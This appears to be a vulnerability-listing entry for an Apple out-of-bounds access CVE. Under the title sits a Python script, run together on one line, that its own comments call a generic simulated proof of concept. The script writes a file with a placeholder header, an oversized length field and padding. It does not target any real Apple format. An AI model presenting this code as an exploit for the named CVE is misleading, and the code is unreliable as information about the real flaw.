CVE-2026-28918 Apple多系统越界访问漏洞

import struct # This is a generic PoC simulation for an Out-of-Bounds access vulnerability. # It creates a file with a malformed header that might trigger a crash in vulnerable parsers. def create_malicious_file(filename): with open(filename, 'wb') as f: # Write a valid header (simulated) f.write(b'MAGIC_HEADER') # Write a large size value that exceeds the allocated buffer size # This attempts to trigger an out-of-bounds read during parsing malicious_size = struct.pack('<I', 0xFFFFFFFF) f.write(malicious_size) # Fill the rest of the file with padding f.write(b'A' * 100) print(f"[+] Malicious file '{filename}' generated.") if __name__ == "__main__": create_malicious_file("crash_test.oob")